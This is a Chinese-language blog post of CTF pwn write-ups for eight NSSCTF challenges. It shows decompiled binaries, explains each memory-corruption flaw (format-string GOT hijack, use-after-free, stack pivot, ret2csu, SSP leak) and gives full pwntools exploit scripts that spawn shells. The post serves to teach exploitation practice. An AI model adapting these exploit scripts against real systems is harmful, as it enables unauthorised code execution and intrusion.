本文最后更新于:2023年4月16日 下午
easyecho 本题选自 2021 鹤城杯,题目描述为Ubuntu16。题目链接:easyecho | NSSCTF 。
checksec:
1 2 3 4 5 6 7 8 ubuntu@ubuntu:~/Desktop$ checksec easyecho [*] '/home/ubuntu/Desktop/easyecho' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { bool v3; __int64 v4; char *v5; const char *v6; char v8[16 ]; __int64 (__fastcall *v9)(); char v10[104 ]; unsigned __int64 v11; v11 = __readfsqword(0x28 u); sub_DA0(a1, a2, a3); sub_F40(); v9 = sub_CF0; puts ("Hi~ This is a very easy echo server." ); puts ("Please give me your name~" ); _printf_chk(1LL , "Name: " ); sub_E40(v8); _printf_chk(1LL , "Welcome %s into the server!\n" , v8); do { while ( 1 ) { _printf_chk(1LL , "Input: " ); gets(v10); _printf_chk(1LL , "Output: %s\n\n" , v10); v4 = 9LL ; v5 = v10; v6 = "backdoor" ; do { if ( !v4 ) break ; v3 = *v5++ == *v6++; --v4; } while ( v3 ); if ( !v3 ) break ; (v9)(v6, v5); } } while ( strcmp (v10, "exitexit" ) ); puts ("See you next time~" ); return 0LL ; }
sub_DA0函数做了缓冲区的setvbuf和alarm反调试,sub_F40函数是UI菜单图标字符画。
在第26行gets(v10)有一个明显可行的栈溢出漏洞,由于有canary和pie,我们暂时很难确定应该怎么获得这两个或应该获得哪一个。
31到38行是一个检测输入字符串是否与”backdoor”字符串相同的小检测。如果是,便执行sub_CF0函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 unsigned __int64 __fastcall sub_E40 (char *buf, __int64 a2) { ssize_t v4; int v5; unsigned __int64 v7; v7 = __readfsqword(0x28 u); while ( a2 ) { v4 = read(0 , buf, 1uLL ); if ( !v4 ) break ; if ( v4 == -1 ) { v5 = *_errno_location(); if ( v5 != 11 && v5 != 4 ) return __readfsqword(0x28 u) ^ v7; } else { if ( *buf == 10 ) { *buf = 0 ; return __readfsqword(0x28 u) ^ v7; } ++buf; } --a2; } return __readfsqword(0x28 u) ^ v7; }
sub_E40函数是一个关于输入的保护,在此不细分析。读者若未来会参与出题可自行研究这段内容。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int sub_CF0 () { __int64 v0; int v1; unsigned __int64 v3; v3 = __readfsqword(0x28 u); if ( unk_2020A0 ) { return __readfsqword(0x28 u) ^ v3; } else { unk_2020A0 = 1 ; v1 = open("./flag" , 0 ); if ( v1 < 0 ) perror("open" ); read(v1, &unk_202040, 0x50 uLL); LODWORD(v0) = close(v1); } return v0; }
sub_CF0函数很明显是读入flag文件并将其放到0x202040上。
相对来说就很明朗了,考点是Stack Smashing Detected,第一次输入泄漏PIE基址,再次输入”backdoor”去调用一次sub_CF0,然后修改__libc_argv[0]指向0x202040,最后利用SSP去get flag(没有get shell和cat flag过程了)。
修改__libc_argv[0]的指向位置的方法就是在调试中先输入p & __libc_argv[0]
去获得到argv[0]的位置,然后在Input:
的后方的输入处断,得到输入处与argv[0]的距离,计算可以使用指令distance (input_addr) (argv[0]_addr)
,本题可以得到偏移为0x168。
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * context.log_level = 'debug' io = process('./easyecho' ) io.sendline(b'a' * 0x10 ) io.recvuntil(b'a' * 0x10 ) pie = u64(io.recv(6 ).ljust(8 , b'\x00' )) sleep(0.1 ) io.sendlineafter(b"Input:" , b'backdoor' ) sleep(0.1 ) io.sendlineafter(b'Input:' , b'a' * 0x168 + p64(0x202040 + pie - 0xcf0 )) sleep(0.1 ) io.sendlineafter(b'Input:' , b'exitexit' ) io.interactive()
注:pie - 0xcf0为求PIE基址,pie recv部分求得是PIE + offset = real_addr。offset仅占用十六进制后三位,PIE占用其他位,类似于glibc调用方法。
Voting Machine 2 本题选自 watervrCTF 2019,题目描述为In a world with many uncertainties we need some kind of structure. Democracy is a big part of that, therefore we need voting machines! Well, at least if they are safe...Ubuntu18
。题目链接:Voting Machine 2 | NSSCTF 。
checksec:
注:我将文件名修改为了VM,为了方便我自己进行修改、输入与调试。
1 2 3 4 5 6 7 ubuntu@ubuntu:~/Desktop$ checksec VM [*] '/home/ubuntu/Desktop/VM' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { double v3; char format[50 ]; int *p_argc; p_argc = &argc; signal(14 , exit_f); LODWORD(v3) = 5 ; isnan(v3); puts ("Hello and welcome to \x1B[3mour\x1B[23m voting application!" ); puts ("We noticed that there occured a slight buffer overflow in the previous version." ); puts ("Now we never return, so the problem should be solved? Right?" ); puts ("Today you are the one who decides what we will vote about.\n" ); printf ("Topic: " ); fflush(stdin ); fflush(stdout ); __isoc99_scanf("%[^\n]%*c" , format); printf (format); puts ("\nWill be the voting topic of today!" ); exit (0 ); }
本题我提前将alarm函数改为了isnan,这是一种绕过反调试的方法,但偶尔可能不是这样用的,所以遇到alarm函数应该思考其是否是一种反调试手段。
__isoc99_scanf("%[^\n]%*c", format);
是一种读入字符串并排除了句尾’\n’的一种输入字符串方式,使用C语言编程的小伙伴可以学习一下这种写法。
很明显一个格式化字符串漏洞,由于没有其他内容了,如栈溢出等,其利用方法便仅有GOT劫持。GOT劫持就是修改GOT表中某一项的值,使PLT表在调用其对应的GOT表的时候跳转到被我们劫持后的地址。也就是我们其实需要修改的是执行格式化字符串漏洞之后的函数。
GOT表劫持我们一般会使用pwntools中的工具fmtstr_payload,这个函数的原型为fmtstr_payload(offset, {func_got : func0_addr , func1_got : func2_addr}, numbwritten = 0, write_size = 'byte')
,offset为接下来准备测出的偏移,第二个参数为准备修改的函数的got表及其对应的希望劫持到的函数地址,numbwritten为已经输入的字符,默认为0,write_size为输入字节数,默认为byte字节型,这里还有short双字节和int四字节共三种选择。
第一次直接输入AAAA.%p.%p.%p.%p.%p.%p.%p.%p
去测一下输入的偏移。AAAA.0xffffd02e.(nil).0x8420812.0xa.0xffffd2ef.0xf7e0f679.0x4141a808.0x252e4141
咦?这不对吧?怎么没对齐?欸,此言差矣,这要是前面再多输入两个字符,后面少看两个字符,不就相当于形成了偏移为8的格式化字符串漏洞了吗,顺便迎合了接下来的fmtstr_payload的numbwritten考点。
那么EXP也直接端上来罢(急迫):
1 2 3 4 5 6 7 8 from pwn import * context.log_level = 'debug' io = process('./VM' ) elf = ELF('./VM' ) io.sendline(b'aa' + fmtstr_payload(8 , {elf.got['exit' ]:elf.sym['super_secret_function' ]}, numbwritten = 2 )) io.interactive()
ez_pwn 本题选自 HUBUCTF 2022 新生赛,无题目描述。题目链接:ez_pwn | NSSCTF 。
checksec:
1 2 3 4 5 6 7 ubuntu@ubuntu:~/Desktop$ checksec ez_pwn [*] '/home/ubuntu/Desktop/ez_pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 int __cdecl main (int argc, const char **argv, const char **envp) { int v4; int i; int v6; unsigned int seed[2 ]; FILE *stream; char v9[32 ]; char s[8 ]; __int64 v11; __int64 v12; __int64 v13; __int64 v14; __int64 v15; __int64 v16; __int64 v17; unsigned __int64 v18; v18 = __readfsqword(0x28 u); setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stderr , 0LL , 2 , 0LL ); *(_QWORD *)seed = time(0LL ); *(_QWORD *)s = 0LL ; v11 = 0LL ; v12 = 0LL ; v13 = 0LL ; v14 = 0LL ; v15 = 0LL ; v16 = 0LL ; v17 = 0LL ; puts ("Who goes there?" ); gets(v9); printf ("Welcome to my challenge, %s. No one has ever succeeded before. Will you be the first?\n" , v9); srand(seed[0 ]); for ( i = 0 ; i <= 99 ; ++i ) { v6 = rand() % 100000 + 1 ; puts ("I am thinking of a number from 1-100000. What is it?" ); __isoc99_scanf("%d" , &v4); if ( v6 != v4 ) { puts ("You have failed. Goodbye." ); return 0 ; } puts ("Impressive." ); } puts ("You've guessed all of my numbers. Here is your reward." ); stream = fopen("flag.txt" , "r" ); if ( stream ) { fgets(s, 50 , stream); puts (s); } puts ("Goodbye." ); return 0 ; }
我记得libc版本是不影响随机数生成的,seed取值只能是time(0),种子随机,不能覆盖。v9的输入对任何内容都影响不了。
于是本题只能是使用利用相同time(0)拟相同取次数随机数并输入的方法。
需要利用的是ctypes库中的cdll包中的LoadLibrary函数去获取某位置的libc并利用srand和rand获取每次输入的值。
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *from ctypes import * io = process('./ez_pwn' ) libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6' ) io.sendlineafter(b'there?\n' , b'Nsus' ) srand = libc.srand(libc.time(0 ))for i in range (100 ): io.sendlineafter(b'it?\n' , str (libc.rand() % 100000 + 1 ).encode()) io.interactive()
注:libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
一句是使用本机libc作为exp使用libc。
easystack 本题来源于 UUCTF 2022 新生赛,题目描述为“也许你的exp是对的呢?”。题目链接:easystack | NSSCTF 。
checksec:
1 2 3 4 5 6 7 ubuntu@ubuntu:~/Desktop$ checksec easystack [*] '/home/ubuntu/Desktop/easystack' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
main函数基本没什么用,一个setvbuf和fflush管缓冲区。
1 2 3 4 5 6 7 8 9 int vuln () { char buf[256 ]; puts ("I am back! Can you beat me this time?\n" ); puts ("What's your name?" ); read(0 , buf, 0x10A uLL); return printf ("Hello, %s\n" , buf); }
因为输入字节不是很够,其实就很明显是栈溢出再加不知名pie看运气自行通了,不是很难,但这个脚本编写还是很有意思的,有Python编程想法的小伙伴可以尝试着学一下
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *def exp (): io.sendline(b'a' * 0x108 + p16(0x196 )) io.interactive()while (1 ): try : io = remote('' , ) exp() except : io.close()
虽然不知道为什么在本机通不了,但在靶机上过了就行。
Oil Spill 本题来自 SDCTF 2022,题目描述为This program will predict your future!Ubuntu 18.04
。题目链接:Oil Spill | NSSCTF 。
checksec:
注:我将文件名修改为了OSP,为了方便我自己进行修改、输入与调试。
1 2 3 4 5 6 7 ubuntu@ubuntu:~/Desktop$ checksec OSP [*] '/home/ubuntu/Desktop/OSP' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int __cdecl main (int argc, const char **argv, const char **envp) { char s[312 ]; unsigned __int64 v5; v5 = __readfsqword(0x28 u); printf ("%p, %p, %p, %p\n" , &puts , &printf , s, temp); puts ("Oh no! We spilled oil everywhere and its making everything dirty" ); puts ("do you have any ideas of what we can use to clean it?" ); fflush(stdout ); fgets(s, 300 , stdin ); printf (s); puts (x); fflush(stdout ); return 0 ; }
还是GOT劫持,顺便多了一个libc泄漏,给出了&puts其实就已经很够用了。
因为本机使用的就是Ubuntu18.04,所以没再使用LibcSearcher,使用其实区别不大。用LibcSearcher和ret2libc3差不多,用dump dump出来。
这道题因为覆盖的内容更多,所以需要为fmtstr_payload提供文件的环境,如context.binary='./OSP'
让工具自行选择,或context(os = 'linux', arch = 'amd64')
。
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import * context.log_level = 'debug' context.binary = './OSP' io = process('./OSP' ) elf = ELF('./OSP' , False ) io.recvuntil(b'0x' ) puts_addr = int (io.recv(12 ), 16 )print (hex (puts_addr)) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) libc_base = puts_addr - libc.sym['puts' ] sys_addr = libc_base + libc.sym['system' ] bsh_addr = libc_base + libc.search(b'/bin/sh\x00' ).__next__() fmtstrstr = fmtstr_payload(8 , {elf.got['puts' ]:sys_addr, 0x600C80 :b'/bin/sh\x00' }) io.sendlineafter(b'it?\n' , fmtstrstr) io.interactive()
YDSneedGirlfriend 本题选自 BJDCTF 2020,题目描述为“Ubuntu16”。题目链接:YDSneedGirlfriend | NSSCTF 。
checksec:
注:我将文件名修改为了gf,为了方便我自己进行修改、输入与调试。
1 2 3 4 5 6 7 ubuntu@ubuntu:~/Desktop$ checksec gf [*] '/home/ubuntu/Desktop/gf' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { int v3; char buf[8 ]; unsigned __int64 v5; v5 = __readfsqword(0x28 u); myinit(argc, argv, envp); while ( 1 ) { while ( 1 ) { menu(); read(0 , buf, 4uLL ); v3 = atoi(buf); if ( v3 != 2 ) break ; del_girlfriend(); } if ( v3 > 2 ) { if ( v3 == 3 ) { print_girlfriend(); } else { if ( v3 == 4 ) exit (0 ); LABEL_13: puts ("Invalid choice" ); } } else { if ( v3 != 1 ) goto LABEL_13; add_girlfriend(); } } }
1 2 3 4 5 6 7 8 9 10 int menu () { puts ("------------------------" ); puts (" 1. Add a girlfriend " ); puts (" 2. Delete a girlfriend " ); puts (" 3. show her name " ); puts (" 4. give up " ); puts ("------------------------" ); return printf ("Your choice :" ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 unsigned __int64 add_girlfriend () { __int64 v0; int i; int v3; char buf[8 ]; unsigned __int64 v5; v5 = __readfsqword(0x28 u); if ( count <= 10 ) { for ( i = 0 ; i <= 9 ; ++i ) { if ( !*(&girlfriendlist + i) ) { *(&girlfriendlist + i) = malloc (0x10 uLL); if ( !*(&girlfriendlist + i) ) { puts ("Alloca Error" ); exit (-1 ); } **(&girlfriendlist + i) = print_girlfriend_name; printf ("Her name size is :" ); read(0 , buf, 8uLL ); v3 = atoi(buf); v0 = *(&girlfriendlist + i); *(v0 + 8 ) = malloc (v3); if ( !*(*(&girlfriendlist + i) + 1 ) ) { puts ("Alloca Error" ); exit (-1 ); } printf ("Her name is :" ); read(0 , *(*(&girlfriendlist + i) + 1 ), v3); puts ("Success !Wow YDS get a girlfriend!" ); ++count; return __readfsqword(0x28 u) ^ v5; } } } else { puts ("Full" ); } return __readfsqword(0x28 u) ^ v5; }
1 2 3 4 int __fastcall print_girlfriend_name (__int64 a1) { return puts (*(a1 + 8 )); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 unsigned __int64 del_girlfriend () { int v1; char buf[8 ]; unsigned __int64 v3; v3 = __readfsqword(0x28 u); printf ("Index :" ); read(0 , buf, 4uLL ); v1 = atoi(buf); if ( v1 >= 0 && v1 < count ) { if ( *(&girlfriendlist + v1) ) { free (*(*(&girlfriendlist + v1) + 1 )); free (*(&girlfriendlist + v1)); puts ("Success" ); } } else { puts ("Out of bound!" ); } return __readfsqword(0x28 u) ^ v3; }
del这里其实很明显free后没赋nullptr,导致指针指向地址处若被另外分配则未赋nullptr指针也可调用该内容。这是一个很标准的UAF(Use After Free)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 unsigned __int64 print_girlfriend () { int v1; char buf[8 ]; unsigned __int64 v3; v3 = __readfsqword(0x28 u); printf ("Index :" ); read(0 , buf, 4uLL ); v1 = atoi(buf); if ( v1 >= 0 && v1 < count ) { if ( *(&girlfriendlist + v1) ) (**(&girlfriendlist + v1))(*(&girlfriendlist + v1)); } else { puts ("Out of bound!" ); } return __readfsqword(0x28 u) ^ v3; }
有一个函数叫“backdoor”,其地址起始于0x400B9C,这是我们最终需要ret2的位置,因为这里可以getshell。
思路前面也提到了是UAF,也不过就是覆盖print_girlfriend_name为backdoor地址,然后在调用时候就跳转过去了。有的师傅写的有double free但是也没构造出来,如果有人成功了请联系我。
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import * context.log_level = 'debug' io = process('./gf' ) elf = ELF('./gf' )def duan (): gdb.attach(io) pause()def add (size, name = b'0xdeadbeef' ): io.sendlineafter(b'choice :' , b'1' ) io.sendlineafter(b'is :' , size) io.sendlineafter(b'is :' , name)def free (index ): io.sendlineafter(b'choice :' , b'2' ) io.sendlineafter(b'Index :' , index)def show (index ): io.sendlineafter(b'choice' , b'3' ) io.sendlineafter(b'Index :' , index) add(b'32' ) add(b'32' ) free(b'0' ) free(b'1' ) add(b'16' , p64(elf.sym['backdoor' ])) show(b'0' ) io.interactive()
加个断点自行调试理解其中内容。堆的内容还是需要大家多多自行调试观察执行去理解,不能纯靠理论。毕竟是实践出真知。
pivot 本题选自HNCTF 2022 WEEK2,题目描述为“栈迁移(试试看了什么保护)”。题目链接:pivot | NSSCTF 。
checksec:
1 2 3 4 5 6 7 ubuntu@ubuntu:~/Desktop$ checksec pivot [*] '/home/ubuntu/Desktop/pivot' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[40 ]; unsigned __int64 v5; v5 = __readfsqword(0x28 u); setbuf(stdin , 0LL ); setbuf(stderr , 0LL ); setbuf(stdout , 0LL ); puts ("Name:" ); read(0 , buf, 0x98 uLL); printf ("Hello, %s\n" , buf); vuln(); return puts ("Over" ); }
1 2 3 4 5 6 7 8 9 int vuln () { char buf[264 ]; unsigned __int64 v2; v2 = __readfsqword(0x28 u); read(0 , buf, 0x120 uLL); return puts ("G00DBYE." ); }
其实从可以进行第二次溢出但空间不够一点上就可以看出第一次输入为了得到canary,第二次为了满足栈迁移,然后泄露函数地址,返回到函数开头后,再利用栈溢出getshell。最终再ret2libc,记得堆栈平衡。
由于附件提供了libc.so.6便很好办了,记得引用上。
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import * context.log_level = 'debug' io = process('./pivot' ) libc = ELF('./libc.so.6' , False ) pop_rdi = 0x401343 ret = 0x40101a leave_ret = 0x401213 io.sendlineafter(b'Name:\n' , b'a' * 40 ) io.recvuntil(b'a' * 40 ) canary = u64(io.recv(8 )) - 0xa print (hex (canary)) io.sendafter(b'\n' , b'a' * 264 + p64(canary) + b'a' * 8 + p64(0x4010D0 )) io.sendafter(b"Name:\n" , b'a' * 0x38 ) __libc_start_call_main = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' ))-128 print ("__libc_start_call_main=" ,hex (__libc_start_call_main)) libc_base=__libc_start_call_main-0x29d10 print ("libc_base=" ,hex (libc_base)) sys=libc_base+libc.sym['system' ] binsh=libc_base+next (libc.search(b"/bin/sh\x00" ))print ("sys=" ,hex (sys)) payload=b'a' *0x108 +p64(canary)+b'a' *8 +p64(0x4010D0 ) io.send(payload) io.recvuntil('Name:\n' ) payload='a' *0x58 io.send(payload) io.recvuntil(payload) stack=u64(io.recv(6 ).ljust(8 ,b'\x00' ))print ("stack=" ,hex (stack)) buf=stack-0x268 print ("buf_addr=" ,hex (buf)) payload=b'a' *8 +p64(ret)+p64(pop_rdi)+p64(binsh)+p64(sys) payload=payload.ljust(0x108 ,b'a' ) payload+=p64(canary)+p64(buf)+p64(leave_ret) io.sendline(payload) io.interactive()
ret2csu 本题选自 HNCTF 2022 WEEK2,题目描述为ret2csu hint:试试用__libc_csu_init函数里的gadget来控制寄存器和程序执行流
。题目链接:ret2csu | NSSCTF 。
checksec:
1 2 3 4 5 6 7 ubuntu@ubuntu:~/Desktop$ checksec ret2csu [*] '/home/ubuntu/Desktop/ret2csu' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 .text:0000000000401290 loc_401290: ; CODE XREF: __libc_csu_init+54 ↓j .text:0000000000401290 4 C 89 F2 mov rdx, r14 .text:0000000000401293 4 C 89 EE mov rsi, r13 .text:0000000000401296 44 89 E7 mov edi, r12d .text:0000000000401299 41 FF 14 DF call ds:(__frame_dummy_init_array_entry - 403E10 h)[r15+rbx*8 ] .text:0000000000401299 .text:000000000040129 D 48 83 C3 01 add rbx, 1 .text:00000000004012 A1 48 39 DD cmp rbp, rbx .text:00000000004012 A4 75 EA jnz short loc_401290 .text:00000000004012 A4 .text:00000000004012 A6 .text:00000000004012 A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35 ↑j .text:00000000004012 A6 48 83 C4 08 add rsp, 8 .text:00000000004012 AA 5B pop rbx .text:00000000004012 AB 5 D pop rbp .text:00000000004012 AC 41 5 C pop r12 .text:00000000004012 AE 41 5 D pop r13 .text:00000000004012B 0 41 5 E pop r14 .text:00000000004012B 2 41 5F pop r15 .text:00000000004012B 4 C3 retn .text:00000000004012B 4 ; }
其中其实就是很标准的ret2csu类型题的做法了,但这道题的控制rdx、rsi、edi处与之前做的其他题顺序是反的导致做题当时很疑惑还卡了一会。这种题都是有一个很一致的EXP模板,抄一下其实就够用了,注意一下front中的内容就可以了。
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *from LibcSearcher import * context.log_level = 'debug' io = remote('43.143.7.97' , 28867 ) elf = ELF('./ret2csu' ) bss_base = elf.bss() csu_front_addr = 0x0000000000401290 csu_end_addr = 0x00000000004012AA fakeebp = b'b' * 8 prdir = 0x4012b3 ret = 0x40101a def csu (rbx, rbp, r12, r13, r14, r15, last ): payload = b'a' * 0x100 + fakeebp payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) payload += p64(r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) payload += b'a' * 0x38 payload += p64(last) io.send(payload) sleep(1 ) io.recvuntil(b'Input:\n' ) csu(0 , 1 , 1 , elf.got['write' ], 8 , elf.got['write' ], elf.sym['vuln' ]) io.recvuntil(b"Ok.\n" ) write_addr = u64(io.recv(6 ).ljust(8 , b'\x00' )) libc = LibcSearcher('write' , write_addr) libc_base = write_addr - libc.dump('write' ) sys_addr = libc_base + libc.dump('system' ) bsh_addr = libc_base + libc.dump('str_bin_sh' )print (hex (sys_addr), hex (bsh_addr)) io.sendlineafter(b"Input:\n" , b'a' * 0x108 + p64(ret) + p64(prdir) + p64(bsh_addr) + p64(sys_addr)) io.interactive()